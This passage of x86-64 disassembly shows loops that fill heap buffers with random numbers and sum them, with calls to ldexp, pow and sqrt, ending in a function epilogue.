add dword [rbp + 0x2a00], 1
cmp dword [rbp + 0x2a00], 0x14
jle 0x140002a2e
add dword [rbp + 0x2a04], 1
cmp dword [rbp + 0x2a04], 0xf
jle 0x140002a22
mov dword [rbp + 0x2a04], 0
jmp 0x140002b38
mov dword [rbp + 0x2a00], 0
jmp 0x140002b28
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x29fc]
mov eax, dword [rbp + 0x2a04]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1950]
add rdx, rax
mov eax, dword [rbp + 0x2a00]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x29fc], eax
add dword [rbp + 0x2a00], 1
cmp dword [rbp + 0x2a00], 0x14
jle 0x140002acf
add dword [rbp + 0x2a04], 1
cmp dword [rbp + 0x2a04], 0xf
jle 0x140002ac3
mov rax, qword [rbp + 0x1950]
mov rcx, rax
call sym.free
mov dword [rbp + 0x29f8], 0
jmp 0x140002bd7
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0xac], eax
mov ecx, dword [rbp + 0xac]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0xac], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0xac]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0xa0], rax
add dword [rbp + 0x29f8], 1
cmp dword [rbp + 0x29f8], 0x89
jle 0x140002b5c
mov ecx, 0x1cc
call sym.malloc
mov qword [rbp + 0x1948], rax
mov dword [rbp + 0x29f0], 0
mov dword [rbp + 0x1944], 0
mov dword [rbp + 0x29f4], 0
jmp 0x140002c64
call sym.rand
mov edx, dword [rbp + 0x29f4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1948]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x29f4], 1
cmp dword [rbp + 0x29f4], 0x72
jle 0x140002c18
mov dword [rbp + 0x29f4], 0
jmp 0x140002ca2
mov eax, dword [rbp + 0x29f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1948]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x29f0], eax
add dword [rbp + 0x29f4], 1
cmp dword [rbp + 0x29f4], 0x72
jle 0x140002c79
mov rax, qword [rbp + 0x1948]
mov rcx, rax
call sym.free
mov dword [rbp + 0x29ec], 0xffffffff
add dword [rbp + 0x29ec], 1
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1b
add edx, eax
and edx, 0x1f
sub edx, eax
mov dword [rbp + 0x1940], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x1940]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x1938], rax
cmp dword [rbp + 0x29ec], 0x5f
jle 0x140002cc4
mov ecx, 0x5ac
call sym.malloc
mov qword [rbp + 0x1930], rax
mov dword [rbp + 0x29e4], 0
mov dword [rbp + 0x29e0], 0
mov dword [rbp + 0x29e8], 0
jmp 0x140002da7
call sym.rand
mov edx, dword [rbp + 0x29e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1930]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x29e8], 1
cmp dword [rbp + 0x29e8], 0x16a
jle 0x140002d5b
mov dword [rbp + 0x29e8], 0
jmp 0x140002de8
mov eax, dword [rbp + 0x29e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1930]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x29e4], eax
add dword [rbp + 0x29e8], 1
cmp dword [rbp + 0x29e8], 0x16a
jle 0x140002dbf
mov dword [rbp + 0x29e8], 0
jmp 0x140002e70
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x29e0]
mov eax, dword [rbp + 0x29e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1930]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0xb0]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movsd xmm0, qword [0x14002c0f0]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x29e0], eax
add dword [rbp + 0x29e8], 1
cmp dword [rbp + 0x29e8], 0x16a
jle 0x140002e00
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x29e0]
movss xmm1, dword [0x14002c0f8]
divss xmm0, xmm1
movss dword [rbp + 0x192c], xmm0
pxor xmm5, xmm5
cvtss2sd xmm5, dword [rbp + 0x192c]
movq rax, xmm5
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x1928], xmm0
mov rax, qword [rbp + 0x1930]
mov rcx, rax
call sym.free
mov dword [rbp + 0x29d8], 0x5a
mov dword [rbp + 0x29dc], 0x5a
jmp 0x140002ef6
sub dword [rbp + 0x29d8], 1
sub dword [rbp + 0x29dc], 1
cmp dword [rbp + 0x29dc], 0x42
jg 0x140002ee8
mov ecx, 0x2c0
call sym.malloc
mov qword [rbp + 0x1920], rax
mov dword [rbp + 0x29d4], 0
jmp 0x140002f69
cmp dword [rbp + 0x29d4], 0xaf
jle 0x140002f1c
mov eax, 0
movups xmm6, xmmword [rbp + 0x2ab0]
add rsp, 0x2b48
pop rbx
pop rbp
ret